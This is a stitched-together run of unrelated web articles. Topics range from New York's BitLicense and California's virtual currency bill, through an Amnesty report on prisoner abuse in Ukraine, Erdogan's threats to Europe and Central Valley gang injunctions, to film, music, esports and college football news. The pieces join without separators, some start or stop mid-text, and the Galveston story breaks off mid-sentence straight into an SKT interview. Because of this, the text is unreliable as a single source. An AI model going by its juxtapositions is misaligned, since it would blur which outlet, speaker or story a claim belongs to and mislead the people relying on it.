Virtual Currency Business Activity means the conduct of any one of the following types of activities involving New York or a New York Resident: (1) receiving Virtual Currency for Transmission or Transmitting Virtual Currency, except where the transaction is undertaken for non-financial purposes and does not involve the transfer of more than a nominal amount of Virtual Currency; (2) storing, holding, or maintaining custody or control of Virtual Currency on behalf of others; (3) buying and selling Virtual Currency as a customer business; (4) performing Exchange Services as a customer business; or (5) controlling, administering, or issuing a Virtual Currency.
As a first pass, notice its length and breadth. There are five ways to be a virtual currency business and each involves a number of synonym-like words, e.g. “storing, holding, or maintaining” and “controlling, administering, or issuing.” It’s important to note that none of those words are defined in the regulation, and conceivably some of them could include all kinds of activities regardless of whether they pose a consumer protection risk.
Here’s California’s latest definition of virtual currency business for comparison:
(c) “Virtual currency business” means the conduct of either of the following types of activities involving a California resident: (1) Maintaining full custody or control of virtual currency on behalf of others. (2) Providing conversion or exchange services of fiat currency into virtual currency or the conversion or exchange of virtual currency into fiat currency or other value, or the conversion or exchange of one form of virtual currency into another form of virtual currency.
California’s definition is heartening: there are only two qualifying activities and they have common meanings: custody and exchange. Maintaining full custody or control is the right approach. If you have control or custody, you can lose the customer’s funds and therefore it makes sense for you to be subject to consumer protection regulation. Excellently, the word “full” is there, and that matters with respect to digital currency because with multi-sig technology custody could be divided.
If a company doesn’t have full custody because it provides a security or disaster-recovery service for majority key-holders, then it can’t lose consumer funds and shouldn’t need to license. California’s approach will both protect consumers from any risk inherent in true custodians while still promoting innovation in multi-sig security services. New York’s definition lacks this sensitivity; it’s drafted like a catch-all.
New York’s AML framework has three primary components: per-transaction recordkeeping, reporting for transactions above $10,000, and suspicious activity reporting. California’s AML framework doesn’t. It has no components because California’s digital currency license would mirror every other state’s money transmission license; it would only deal with setting consumer protection standards and it would leave AML policy to the Federal government, the Department of Treasury, and FinCEN specifically. FinCEN has done excellent work and it’s entirely unclear why New York suddenly thinks they need different standards.
Now, you may be thinking, “I watched Ben Lawsky speak today, and he said that there would be no AML requirements duplicative of federal standards.” That’s indeed what he announced. However, when you read the text of the final draft you find that while some obligations may be avoided for companies that are federally compliant (and even that is hard to say because the language of the regulation is complicated and unclear), the fact remains that other requirements will apply irrespective of federal compliance. Be there no doubt, the final draft of the BitLicense still creates unprecedented state-level AML obligations for digital currency companies, discriminatory obligations that traditional money transmitters and banks do not need to bear.
It’s unfortunate that the BitLicense has been the focus of the media and many casual digital currency observers. In the superintendent’s own words: “We have never claimed to have a monopoly on the truth. And regulators must always be willing to course correct when necessary.” As it stands for now, California’s on a superior tack. In the race to develop rules that foster innovation and to do so thoughtfully, California is winning.UPDATE: Rakim’s manager set us straight and said the story is “completely false” and any talk of a reunion is “premature, exaggerated and unauthorized.”
Over the weekend, Eric B and Rakim cryptically announced their official comeback, and could be releasing music for the first time together since 1992’s Don’t Sweat the Technique. Today, it appears Madlib, by way of his rapping alter-ego Quasimoto, is a part of that equation.
On Instagram, Quasi announced “the reformation of Eric B, Rakim and Quas. New album and tour in 2017.” To make his announcement, Quasi drew himself into the artwork for Eric B and Rakim’s 1988 Follow the Leader album, using his storied furry animation to represent his inclusion in the duo’s comeback plans.
Proud to announce the reformation of Eric B, Rakim, and Quas. New album and tour in 2017. A photo posted by Quasimoto (@quasimoto) on Oct 24, 2016 at 10:07pm PDT
While the Paid in Full team have already begun crowd-sourcing ideas for their forthcoming tour, details aren’t as accessible for Quasi’s plans for the future. Whatever happens, he’s got a solid track record to work off of, taking the last couple years into consideration. He produced Freddie Gibbs’ Pinata album, a critically-acclaimed 2014 release, and has done recent work with Kanye West on The Life of Pablo.
Quasi last released an album in 2005, The Further Adventures of Lord Quas.A new report from rights group Amnesty International says it has found “overwhelming evidence” of war crimes, including torture and summary executions of prisoners, on both sides of the conflict in eastern Ukraine.
The report, released Friday, said that both sides in the entrenched conflict, which has gone on for over a year, have engaged in “frequent and widespread prisoner abuse.” In interviews with former prisoners, Amnesty recounted descriptions of prisoners having their bones broken, tortured with electric shocks, stabbed, forced to stay awake for days at a time, denied medical care and subject to mock executions.
“I thought I was being buried alive,” said Alexander Pinchuk, a building contractor who was captured at a pro-Kiev checkpoint run by the ultranationalist Right Sector and the Dnipro 2 battalion. “I tried to straighten up, but one guy stood on my head to stop me from doing so, and the others threw dirt onto me. I was on my knees, and finally there was quite a thick layer of dirt on top of me. At that moment I lost consciousness because of the dirt, because I couldn’t breathe.”
Right Sector spokesman Artyom Skoropadsky, however, refuted these claims to the Kyiv Post, arguing that it would make no sense for them to torture prisoners. “At least because we pass them to the SBU (Ukrainian security service) later, and if they will be maimed, they will ask us why they are maimed.
“Of course (our members) can hit them during the arrest or something, but they get the same food that our soldiers eat. Of course they live in worse conditions, but they even get beds,” Skoropadsky said.
All but one of the 33 prisoners Amnesty interviewed said they were heavily beaten or otherwise abused by both pro-Kiev militias and separatist groups in the country’s east.
“In the shadow of eastern Ukraine’s still smouldering conflict, our on-the-ground research shows that accounts of detainee torture are as commonplace as they are shocking,” said John Dalhuisen, Europe and Central Asia program director, at Amnesty International, in a press release. “Pro-Kiev and separatist forces alike must put an end to these crimes and ensure that all fighters under their control are aware of the consequences under international law of abusing prisoners amid an armed conflict.”
The worst abuses reportedly often took place during informal detention, in the first few days of captivity, when groups of militants operating independently tend to be especially violent, the report said. Also, not all those being held are prisoners of war, the Amnesty report found, as groups on both sides were holding civilians who harbored sympathies for the other side.
Amnesty called upon the United Nations and other monitors to visit the alleged detention sites in Ukraine to evaluate the conditions prisoners were held in.
“In some cases, these civilians are detained as currency for prisoner exchanges, but it also may be simply to punish them for their views. This is a disturbing and illegal practice that must be stopped immediately,” Dalhuisen said.California town that saved land now looks to oil drilling
But now, with oil hovering near $100 a barrel, the same man who led the charge to save the 1,290-acre Whittier Wilderness Preserve is interested in drilling there.
Proponents believe Whittier could get as much as $600 million over 25 years in oil revenues by using new technology that they say will only disturb 7 acres of the vast Whittier Hills.
Founded by Quakers
The proposal has bitterly divided this Los Angeles suburb that was founded in the 19th century by Quakers, followers of a religion with a deep commitment to protecting the environment.
Henderson, who still thinks of himself as a conservationist, said he's surprised to find himself seriously considering the proposal.
"It's not that I've decided to destroy the preserve," he said. "What I do believe in very strongly is that you've got to be open and alert to help the habitat and the city. This has the potential to contribute millions of dollars to the preservation effort and in making sure the preserve is viable in the long run."
Drilling opponents don't see their former hero, or his current argument, in such nuanced light. They worry that once drilling is allowed in one spot, future city council members could approve it elsewhere on the preserve.
"You can't one minute say, 'I want to save these hills,' and then move to drill on them,'" said resident Paula Castenon with Whittier Hills Oil Watch. "He's definitely going back on his word. The whole point in obtaining the mineral rights to that land was to preserve it and prevent oil drilling in the future."
The Los Angeles basin has more oil per square foot than almost anywhere in the world. There is drilling hidden behind an office building facade on a major city street and cloaked in a painted tower at Beverly Hills High School.
Setting a precedent?
If the project gets county approval in the coming months, some worry it could set a precedent well beyond Whittier's boundaries - putting at risk thousands of acres of open space as other cash-strapped California communities search for money during tough economic times.
"Certainly if the county were to approve this, there would be a lot of pressure on the county if other cities want to do the same thing to allow them to revert park land as well," said Sean Hecht, the executive director of the Environmental Law Center at the University of California, Los Angeles.
Whittier received an estimated $16.3 million dollars in 1992 to buy the properties and oil rights from Chevron and Unocal, which had been drilling on the site for decades, Henderson said. The once-scarred land has since been allowed to recover.
Susan O'Caroll, an environmental consultant for the Open Space Legal Defense Fund, which filed a lawsuit against the city and county, said it makes no sense to drill on a key piece of sensitive habitat.As Jurassic World 2 begins production in March, news regarding the long awaited sequel has accelerated. BD Wong was hinted as reprising his role as Henry Wu by Frank Marshall during an interview recently. Allocine caught up with Omar Sy during his promotion for his newest film 'Tomorrow it All Starts'. During the interview, they asked if he would return as Barry in the Jurassic World sequel. Omar Sy replied:
"I can say for now I'm pretty sure I'm not in there, it turns out that in the spring, and logically at the moment between the time it takes to turn [film], if I had been in it, I would have gotten a phone call. It means that I'm not in it, I think."
Omar Sy gave his thanks for having worked with Trevorrow, and acknowledged that his character may not be part of Bayona's vision.
"We know once will not hurt, it was already great to be in Jurassic World and participate in that adventure. After, it is not obliged or forced. And now it's another director: J. [JA Bayona], with other desires, other sensibilities."
Omar Sy revealed why he was not upset about potentially not being asked to return for the sequel:
"It turns out that I was in the first (Jurassic) because Colin Trevorrow really wanted to work with me. It was the desire of the director. There's nothing better then that, if the Director wants you. If one is imposed [forced] and the director does not want you, its horrible."
On engaging with his potential to not return for the sequel, Omar compared it to his hopes of being cast for Star Wars Episode 9, which Colin Trevorrow will be directing.
"If he calls me,its great. But I do not say'maybe he'll call me because if he does not, he's disappointed. Its the same with Jurassic: I did not say 'I'll be in the second movie for sure, because thats the best way to be disappointed in life. We must remain open, but do not expect things precisely."
Omar Sy's character was introduced in Jurassic World as a Velociraptor Trainer in the movie. However, he was kept as a supporting character, and was excluded from much of the final act. His character was last seen in the hangar with the other survivors..
The plot for Jurassic World 2 is still largely unknown so it is not apparent at this time how he would fit in the plot. However, with Barry not returning, it seems likely that Claire, Owen, and Henry Wu may be the only characters from Jurassic World starring in the sequel.
Jurassic World 2 will be released on June 22, 2018. Bryce Dallas Howard and Chris Pratt will return to play Claire Dearing and Owen Grady in the film. Toby Jones and Rafe Spall will star in unspecified roles as well. The movie will be directed by Juan Antonio Bayona, who has directed 'The Impossible.
Source: Allocine
If you're a fan of Jurassic Park and are looking forward to the Jurassic World movie sequel, be sure to join in our Jurassic World 2 forum - a dedicated community of like-minded Jurassic World fans. The forums are a great place to discuss Jurassic World: Fallen Kingdom's plot synopsis, cast, production news and more!
Never miss an update on Jurassic World: Fallen Kingdom by liking Us on Facebook and by following us on Twitter and Instagram! Also, consider subscribing your email to our Jurassic World 3 blog for instant notifications of when new posts are made!EUROPE'S streets will not be safe unless Turkey is treated better, the country's brash president has threatened.
Recep Erdogan is in an ongoing feud with German and Dutch leaders who blocked Turkish officials holding mass migrant rallies in their countries.
AP:Associated Press 6 Turkish strongman president Erdogan at a rally on Thursday. In an earlier speech he gave a veiled threat to European citizens
AP:Associated Press 6 Erdogan said that Europeans would not be safe if they did not treat Turks better
AP:Associated Press 6 Erdogan is holding a series of rallies ahead of a referendum that could see him granted even more power
In a heated assault, the bullish strongman told gagged Turkish press and fans in Ankara: "If Europe continues this way, no European in any part of the world can walk safely on the streets".
"This Europe is the racist, fascist and tyrannical Europe of the pre-World War Two era", he fumed.
He wants sycophantic supporters to be able to hold rallies on foreign territories to muster support for a referendum that would hand him even more power.
MOST READ IN NEWS Exclusive PIE ROLLER £148m EuroMillions winner scoffs 50 home-delivered Cornish pasties every WEEK Exclusive BRUTE FARCE Albanian murderer fighting boot from UK 'to avoid splitting family' beats wife MOMO NO-NO Momo Challenge in 'Peppa Pig and Fortnite vids' as YouTube and Instagram slammed MOMO SHOCK Creepy'suicide character' Momo told lad, 8, to'stab himself in neck' 'HE STRANGLED ME' Girl, 10, 'pretended to be dead to stop boy, 16, raping her on way home' Exclusive DARK PAST Homeless man doused in water by rail staff KILLED man who splashed him with paint
“We, as Turkey, call on Europe to respect human rights and democracy", he said to applause.
Officials are working around the bans in the Netherlands and Germany, which each have a sizeable Turkish migrant population.
Deputy Prime Minister Numan Kurtulmus said events will still be held but will not directly mention the referendum.
AP:Associated Press 6 Erdogan has called European leaders 'fascists' for not allowing supportive rallies in their countries
AP:Associated Press 6 Erdogan said Europe today is in the 'fascist, racist' state it was in in the pre-World War Two era
Alamy 6 A Turkish newspaper last week ran with an image of Angela Merkel mocked up as Adolf Hitler, sparking outrage
Erdogan's threats have been met with a frosty reception by European Union leaders.
Turkey's representative to the EU was summoned to explain his president's comments on Thursday afternoon.
EU spokeswoman Maja Kocijancic said: "We would like to receive an explanation regarding the comment by President Erdogan concerning the safety of the Europeans on the streets in the world."
Last week a leading Turkish newspaper carried an image of Angela Merkel dressed as Adolf Hitler.
Germany’s new President, Frank-Walter Steinmeier, said: "President Erdogan, you are jeopardising everything that you, with others, have built".
Do you have a story for The Sun Online news team? Email us at tips@the-sun.co.uk or call 0207 782 4368Taika Waititi's Thor: Ragnarok has been churning out some outstanding Marvel promotional artworks for this supreme superhero smackdown, each new example offering a distinctive retro style and blazing palette of colors.
The latest outpouring of striking posters is an intriguing assortment of Art Deco-inspired ads showcasing the main players of Thor, Valkyrie, Hulk, Loki, and Hela, all punctuated by a storm of pale pinks, intense reds, soft oranges, deep greens, and midnight blues. These latest prints are reminiscent of '80s denim jacket patches and t-shirt iron-ons and fall into the same unorthodox vision the New Zealand director has in store for anxious audiences.
Check out the latest TV spot first, with a few splices of new footage to share, then dive into the full poster gallery below and tell us if you're still hoping the calendar pages fly to herald Thor: Ragnarok's heroic charge into theaters on November 3.
Video of Thor Ragnarok New Tv Spot Trailer
(Via Geek Tyrant)Donate
On Thursday, the Al-Mayadeen TV channel released a report claiming that the Syrian government and militants of Daraa city reached a comprehensive reconciliation agreement during negotiations organized by Russia and participated by Jordan.
The Al-Mayadeen report included the terms of the agreement:
The army’s control of the Nisib crossing and raise the Syrian flag on it; Return of refugees in Jordan to Daraa; Coordinate the efforts of the army and the militants in fighting terrorism; Settlement the situation of militants who wish to, and those who don’t want to will stay in Daraa; Raising the Syrian flag over the districts of the city and neutralizing the fighting and redeployment of the army on its outskirts while police deployed inside the districts.
Following the Al-Mayadeen TV, many pro-government media outlets repeated repeated the same rumors. However, they appeared to be untrue.
Jamal al-Zu’bi, a member of the Syrian People’s Assembly for Daraa province, denied any agreement of reconciliation with militant groups and terrorists in Daraa. Zu’bi confirmed that there had been serious attempts, but that terrorist practices and their insistence on attacking civilians made it “far away.”
In a statement to Sputnik, Zu’bi said: “Reconciliation has not taken place, and I think it has become distant, especially in Daraa al-Balad, because they broke the first truce and shelled the safe civilians.”
Moreover, Zu’bi said that on Thursday the SAA intensified its operations in Daraa after Hay’at Tahrir al-Sham (HTS) and the Free Syrian Army (FSA) had targeted civilians in Daraa al-Mahatta area. Zu’bi also confirmed that there may be other attempts in the future to reach an agreement in Daraa.
It is not expected to reach any solution in the south of Syria because of HTS that controls most of the areas of Daraa and allied with the FSA. Although Jordan participated in the negotiations with the Syrian government, Jordan has been supporting HTS and its allies with arms and information so far.
DonateJust as Yadav was speaking, an agitated Owaisi objected to some remarks. The JD(U) chief told Owaisi that he never intervenes when other members speak and he expected him (Owaisi) to sit and listen. But Owaisi did not relent, forcing Yadav to call the MIM chief `a useless man’.
The Lok Sabha on Tuesday witnessed a massive row between JD(U) chief Sharad Yadav and MIM chief Asaduddin Owaisi while discussion was on over the Financial Bill.
The Lok Sabha on Tuesday witnessed a massive row between JD(U) chief Sharad Yadav and MIM chief Asaduddin Owaisi while discussion was on over the Financial Bill.
Just as Yadav was speaking, an agitated Owaisi objected to some remarks. The JD(U) chief told Owaisi that he never intervenes when other members speak and he expected him (Owaisi) to sit and listen. But Owaisi did not relent, forcing Yadav to call the MIM chief `a useless man’.
Even as Owaisi raised his voice, Yadav told the House that he never believed in questioning the unity of India (in an obvious reference to Asaduddin’s brother Akbaruddin who is facing a series of cases over his inflammatory speech).
Yadav also asked the Speaker to remove Owaisi from the House for disrupting proceedings.
Subsequent exchange of words was expunged from the records of the Lok Sabha by Speaker Meira Kumar.
Courtesy:DeccanchronicleA university professor who has struggled with depth perception since birth says his vision has dramatically improved after watching 3D movies.
Bruce Bridgeman, a professor of psychology at the University of California, Santa Cruz, lived with poor depth perception until he watched the Martin Scorsese 3D film Hugo, in February 2012. Suddenly he was able to see with an improved sense of depth, and the phenomenon continued when he left the cinema. "Suddenly, things began to jump out at me," Bridgeman told CNN, adding that he felt "euphoric". He said he previously "saw the world as kind of, in theory, three-dimensional, but the experience is more flat," Adding: "I didn't realise that until I began to see in proper stereo."
Bridgeman's academic studies, which centre on the visual system, have given him the opportunity to try and establish exactly why watching Hugo in 3D helped his sight. It appears watching the film trained his eyes, which do not naturally face the same direction at the same time, to focus properly on the stereo image in front of him. "It was sort of serendipitous that I had spent my lifetime studying vision, and then this experience happened, so I could talk about it and maybe understand it in ways that most people wouldn't be able to," he said.
Bridgeman's stereoscopic vision is by no means perfect in the wake of his 3D epiphany. Nevertheless, the development suggests some people who have lost depth perception can recover it in certain circumstances, contrary to what was once thought. CNN quotes Paul Harris, an associate professor at the Southern College of Optometry in Memphis, Tennessee, who states: "Certainly immersion in a 3D movie could, if somebody had a marginal vision system, could absolutely improve it," though he adds: "I wouldn't prescribe (a movie)."Funny or Die Takes Gov. Pat McCrory and Anti-Gay Conservatives to Task for Making a Horrific Anti-LGBT Bill Law
"Ah, North Carolina. Home of beaches, mountains, and an extremely homophobic governor." That's how Funny or Die's latest parody begins. The "tourism ad" does a great job of taking Tar Heel State conservatives - including GOP Gov. Pat McCrory - to task for creating a law, HB2, that voids all LGBT nondiscrimination ordinances nationwide.
The "ad" entices you to experience North Carolina's "incredible ignorance" by "hang gliding backwards in time" and "racing to the wrong side of history in a kayak, teaching your children to judge others while frolicking in the waves, and enjoy our waterfalls without fear of gay people falling on you."
"If you're grossed out when same-sex couples order wedding cakes, or if you're obsessed with who is in what bathroom, or if you think religious liberty laws only apply to your religion, North Carolina is for you."
It goes on to "admit" that people in state are "resisting social progress rather than helping people in need."
Watch above.
EARLIER:
North Carolina Gov. McCrory in Hot Seat as Apple, Google, NBA, Many Others Denounce Anti-LGBT Law
NOW: Activists Protest Anti-LGBT Bill at Governor's Mansion and Throughout North Carolina (Video)
Pat McCrory Says He Signed the Broadest Anti-LGBT Bill in the Nation to Prevent Government Overreach
Image: Screenshot via Funny or Die
Hat tip: The Advocate
See a mistake? Email corrections to: [email protected]Todd Irinaga, an acting supervisory senior resident with the F.B.I., has lived in the Central Valley for 20 years, arriving in the area right out of the academy. In the early ’90s, gang violence was not the agency’s primary concern. “It was white-collar crimes, bank robberies, violent crime,” Irinaga said. But then the landscape changed. Over the last decade or so, he has watched the slow, northward creep of self-identified Sureños, past Delano, the town that sits on the imaginary line dividing the state between north and south. The origins of this rivalry are murky and difficult to parse, but the men of De La Cruz’s generation recalled for me a kind of golden age, when Chicanos inside California’s racially segregated penitentiaries were united against whites and blacks. That changed in the 1970s, and the North-South split inside the prisons set the stage for violence on the streets.
By Irinaga’s estimate, Norteños still outnumber Sureños in Stanislaus and surrounding counties by a factor of three or four to one, but the increase in violent crime can be traced to this rivalry. The F.B.I. responded to the worsening situation by creating the Central Valley Gang Impact Task Force in 2005 to maximize the efforts of various municipal, county and federal law-enforcement agencies. The fact that so many different entities were able to collaborate is something Irinaga is very proud of.
Irinaga, along with others I spoke to in law enforcement, insisted that the police have very nuanced criteria for deciding who is and who is not a gang member. According to Irinaga, and contrary to De La Cruz’s assertion, people aren’t documented as gang members based on a single instance of wearing red or flashing gang signs. “It’s much more sophisticated than that,” he said. “It’s situational.” When I asked the Modesto Police Department for more information, an official initially agreed to an interview and then, a few days before we were scheduled to meet, abruptly canceled. “We don’t like to do anything that makes gang members’ lives easier,” Capt. Joel Broumas told me by way of explanation, “and letting them know how we do our job might do that.”
In March, I visited a neighborhood in Modesto known as Deep South Side with a gang investigator from the Stanislaus County district attorney’s office named Froilan Mariscal. The overwhelmingly Latino neighborhood sits at the edge of town, much of it in unincorporated Stanislaus County. Here, the stark nature of the city’s struggles comes into focus: There are modest bungalows on small lots, many in a state of disrepair, and streets with no gutters or sidewalks. Just beyond the edge of the neighborhood, the agricultural fields and orchards begin. In 2009, the district attorney’s office filed a civil injunction — a court order — that named 20 local residents as accused members of a gang called Deep South Side Norteños, and created a two-square-mile “safety zone” in the area. The list eventually swelled to more than 100. Those served with an injunction could not be seen in public together inside the “safety zone” and could not wear the color red, under penalty of arrest. Mariscal himself selected the targets after a yearlong investigation during which he interviewed admitted gang members, reviewed dozens of field-interview cards from the police and spoke with local residents about their fear of gangs. Minors named on the injunction faced an 8 p.m. curfew; for those over 18, the curfew was 10 p.m., except for work, school or church.
Civil injunctions like these have been used in California since at least 1987 and have been met with controversy in every instance. The first, against an African-American gang in Los Angeles called the Playboy Gangster Crips, had to be modified after fierce opposition from the A.C.L.U. In 2013, the Ninth Circuit Court of Appeals ruled that Orange County’s gang injunction — similar to the one Mariscal wrote for Stanislaus County — was not enforceable. This spring, Oakland’s gang injunction was dropped, after years of court challenges. Meanwhile, similar challenges are being prepared by several lawyers in Stanislaus County. Like gang enhancements, injunctions are based on law-enforcement designations of someone’s gang status, which are themselves based on essentially subjective criteria.
If the legality of these injunctions is in doubt, the question of whether they work is not clear, either. Mariscal certainly believes they do. Now in his late 30s, with short black hair and a skeptical smile, he was raised in Deep South Side, attended local schools and told me he had been aware of gangs and drugs his entire life. He recalled stepping over junkies on the way to baseball practice. As we drove through the neighborhood’s rutted alleyways, he pointed out messy graffiti sprayed on the fences. “Scrap Killa” here, “Norte” there. “DSSN,” or Deep South Side Norteños. We stopped at one wooden fence where “408,” the area code for San Jose, was spray painted next to a “209,” the area code for Modesto. I could hear excitement in his voice. For Mariscal, this proved that there was coordination between cliques claiming Norteño all across the region, extending beyond the local areas. This is precisely what he and other experts argue in court all the time: Sets claiming to be Norteños or Sureños, like Jesse Sebourn’s local clique, are part of something larger than themselves.
De La Cruz, naturally, sees things differently: Sure, “209” or “408” might be a gang sign, or it could simply be a nod to regional pride. In Oakland — area code 510, numbers considered by some to be gang signs — there’s a food truck called Fiveten Burger. Is that gang-related? Last year, the senior class of a high school outside Sacramento printed up sweatshirts commemorating their 2014 graduation with the Roman numerals “XIV” on the front, the number most often associated with Norteños. Was that entire high-school class gang-related? And if they weren’t, why would different standards be applied elsewhere?Galveston beaches to get wider
A $23 million beach restoration project - the largest in the state's history - was completed last November in Galveston. Previously, there was nothing but moss-covered rocks in the area, from 61st to 76th Streets. less A $23 million beach restoration project - the largest in the state's history - was completed last November in Galveston. Previously, there was nothing but moss-covered rocks in the area, from 61st to 76th... more Photo: Jennifer Reynolds/The Daily News, Photo Editor Photo: Jennifer Reynolds/The Daily News, Photo Editor Image 1 of / 1 Caption Close Galveston beaches to get wider 1 / 1 Back to Gallery
GALVESTON — Visitors to Galveston can expect to find wider beaches on a 4-mile-long stretch next spring as a result of an $18.5 million beach renourishment project that is going forward.
Crews are expected to begin putting new sand on a stretch in front of the seawall in October after officials bypassed a dispute with condo owners who had opposed the plans, the Galveston Park Board was told Tuesday.
Work was scheduled to begin in February, but two condominium associations objected when they learned that the plan called for laying pipe on a route that passed in front of their beachfront condominiums, said Kelly |
show you great gameplay!
Q. Did you have any plans of subbing out the Faker - Bengi roster if things didn’t work out?
L.i.E.S: We are definitely able to swap them out depending on game results, but we believe that the players’ conditions are the first priority. Even if we lose, if they are still in good condition, they will continue to play. The decisions are very fluid, made on the spot so we didn’t come in with prepared decisions beforehand.
Q. Did you really anticipate the 3:0? There are rumors that you were hiding a lot of cards at the end of the regular Season?
KkOma: We jokingly said that it would be a 3:0, but it was misrespresented and misunderstood so it was disappointing. We worked hard to prepare so we were confident that we could win, even if we lost 1 game. We’ve never hid any cards. We just gave every match our all, and I think that alone was enough to allow for the successes that we’ve had.
Q. In today’s matches, you banned Shen, Fizz, Lulu, a lot of picks that seemed to be targeted at Kim “Ssumday” Chan-ho. What was the ban/pick concept like today?
KkOma: We didn’t ban them because Ssumday was good, but rather that our players have wide champion pools. So, we intentionally shrunk the available champions using the bans so that we would have an advantage. Even if the opponents had taken Maokai, I think that we would still have won.
Q. You’ve said that there were some insufficient points today, what were they?
KkOma: They could have won more cleanly, but they fought even when outnumbered. The players probably know their mistakes better than I do. We will work to fix those points and show you an even more evolved SKT T1 at the World Championship.
Q. You said that your players have large champion pools during pick/bans. Recently, a lot of reworked champions are being played in lanes like Top and Mid, did SKT prepare a lot of those picks?
KkOma: It’s reasonable for everyone to assume that we study the new champions and are able to play them well. It’s slightly disappointing that we weren’t able to show you everything that we had prepared.
Q. Your Malphite pick stood out today, was it a response to the opponents’ Ashe?
KkOma: Yes, it was. We especially practiced with it a lot on the Purple side. To be more accurate, it was a pick aimed at playing against Fizz rather than Ashe. Ashe just felt like a bonus. It wasn’t shown on screen, but when the Fizz pick came out, we all yelled.
Q. You practiced a lot with the KOO Tigers yesterday, did it help a lot?
KkOma: The ban/picks came out mostly from the Head Coach and the players. I don’t think it was a help for our ban/pick phase, but it was definitely a help for maintaining the players’ feel for the game. Honestly, I felt that they were cheering for our team’s victory even more than all of our players’ families (laughs).
Q. In Game 1, you faced LeBlanc, a pick that was unexpected?
Faker: I’ve faced LeBlanc quite a few times in Solo Queue. It helped a lot, and even though there were some shaky moments in the game I believed that we could make up for them during teamfights. Ban/picks went pretty well for us and I believed that we are more talented than KT Rolster. I was able to play the game with a calm mind.
Q. Your Maokai undefeated streak continues, how long do you think you can continue with it?
MaRin: Maokai is scheduled to be nerfed. Even so, I believe that my win streak will not be broken the next time I am able to pick him. At Worlds, if the situation is favorable for a Maokai pick, I know that I will have an option to pick him. I think to give a more accurate judgment, I will have to see how badly he gets nerfed.
Q. You were able to win twice. But compared to other teammates, you don’t get the attention?
Bang: Coach always tells me that I am the ace. However, everyone on our team does so well that there weren’t many situations where I would get highlighted. During ban/picks, Vayne was banned against me all three times. I’m satisfied that I was able to contribute by being a part of the pick/bans. I don’t really care much about titles like MVP. I believe that my value goes up in conjunction with our team doing well, so titles like MVP or ‘Ace’ don’t really matter.
Q. You don’t really blind pick Mid very often? We’re curious as to whether you picked Riven as a show of confidence, or that it was a favorable pick against the opposing team.
Faker: Before the Finals, I got wrecked by NaJin e-mFire’s Azir. I felt that it was a really good pick and practiced it a lot, so we first picked the mid champion. I picked Riven after looking at the team composition, but I feel that I’m still insufficient in understanding it fully. I’m very disappointed about that.
Q. We’re curious as to why Kennen was picked when it wasn’t a frequently used pick.
Wolf: After seeing the KOO Tigers’ games, I discussed the pick with Kang “GorillA” Beom-hyun, who I’m friendly with. We talked a lot about Kennen, and picked him because it seemed like a great pick.
Q. Compared to your skill level when you won Season 3 Worlds, how would you compare your skills now?
Bengi: I think I was a bit better then because I was 2 years younger at the time? (laughs) Comparing skills…I think that my style has changed a lot so I can’t really make a comparison. I’ve never thought of myself as “the best jungler ever.” I want to prove my skills at the World Championship.
Q. You played against Lee “Piccaboo” Jong-beom today. You were able to cut him off in your jungle many times – was it a strategy you prepared because of his playstyle?
Wolf: During practice, we practiced a lot keeping his unique color in mind. Everyone was aware of his style of play and made the calls anticipating where he would move on the map, and they turned out to be correct.
Q. During today’s matches, which scene was the most relieving? You’ve won yet again, are there any plans for vacation time?
L.i.E.S: During Game 2′s pick/bans, all the coaching staff and players were happy when the Fizz was picked. We predicted a win the moment Fizz was picked. The game flow was also great to see, but when our pick/bans worked out well the way we had planned, we felt really happy. We are preparing for Worlds, but there is one month left. The Head Office gives so much care to our players, and as a prize for winning, they’ve booked us a celebratory trip to Hawaii. After we come back from Hawaii I believe the Regional Finals will have concluded? We will definitely enjoy the trip equally as much as all the effort and care the Head Office has provided us.
Q. It seems as though you are unable to start as much because Faker is on your team, and you might have a lot of disappointment because of this. Any resolutions for Worlds?
Easyhoon: As a player, it is disappointing that I’m not able to play. But because I believe that my value as a player increases with the value of my team, it doesn’t really matter. I would definitely love to play at Worlds, but I feel that winning is more important.
Q. Who would you pick for the most distinguished player today?
L.i.E.S: It’s really hard to pick one player because everyone did so well. But if I had to pick, it would be Wolf. There was a lot of burden on him because he had to face Piccaboo. People kept comparing them. I’m very thankful to him because he showed strong mental fortitude and played well until the end.
KkOma: I really can’t pick. League of Legends is a team game, and when one player would slip up, they showed a beautiful sight – the others would step up and do even better. Wolf did so well in Game 3. It’s a shame he couldn’t do that well at MSI…(laughs) I’d pick Wolf as the most distinguished player today.
Original Korean Inven/Naver article here: http://sports.news.naver.com/sports/index.nhn?category=e_sports&ctg=news&mod=read&office_id=442&article_id=0000022204
Photo courtesy of Inven.co.kr!“I came here to Ohio State because I wanted to compete and be the guy. That's gonna take time, but right now it's the 2017 season and we're just worried about continuing to get better for Indiana.”
The age-old adage goes that the back-up quarterback is always everyone’s favorite player. Ohio State has certainly had its share of popular No. 2s over the years, including Stanley Jackson, Joe Germaine, (Stanley Jackson again), Steve Bellisari, Kenny Guiton, and even J.T. Barrett.
However, coming into the 2017 season, the intense attention is on Barrett’s back-up not in hopes that he upsets the established starter, but instead for what it could mean for the future of the program.
Now as a redshirt senior, Barrett has cemented himself as the starter barring injury or unforeseen off-field issue, so there is no repeat of the who-will-start suspense of 2015, but fans have become invested in the battle between Joe Burrow and Dwayne Haskins, after seeing extended glimpses of both during last April’s spring game. What might have been most interesting about the pair is that, though both have tremendous talent, at this point, they appear to be very different quarterbacks.
As Landis says in his article, the biggest difference between the two is that Burrow is firmly entrenched in the way that the OSU offensive coaching staff wants the position played. He understands how Urban Meyer, Kevin Wilson and Ryan Day want decisions made, and, for better or for worse, is very much in the Barrett mold, especially as his arm strength has improved during his three years in Columbus.
Haskins on the other hand, is still a bit raw, despite his incredible physical gifts. Just a redshirt freshman, the QB acknowledges that he has room to improve.
"Everyone knows I can throw the ball, but it's more than that to play quarterback here at Ohio State,” Haskins said, according to Landis.
“I just feel like he bonded with Coach (Urban) Meyer. Blue wants to be a wide receiver. He sees himself as a wide receiver, so nobody should recruit him as a tight end.”
Despite the fact that Ohio State currently has the top-ranked 2018 recruiting class according to 247 Sports, one thing that is conspicuously missing from the 16 current commits is a wide-receiver. However, the Buckeyes are in the mix for at least a half dozen four-star or better receivers, including five-star WRs Amon-Ra St. Brown and Jalen Hall, and four-star guys Kamryn Babb and L’Christian “Blue” Smith.
The fact that OSU is pursuing Smith as a WR might be what ultimately cements a commitment later this month. According to Scout.com’s Bill Greene, the fact that Meyer apparently has clarified his positional intentions for the 6-foot-6, 205-pound athlete might have given him the edge.
The OSU coach told Smith that he believes that the position he would play for the Buckeyes would depend upon what his body does over the next few years. If he stays at or around his current size, then wide receiver makes the most sense. However, if he continues to grow and add bulk, a move to tight end might be necessary.
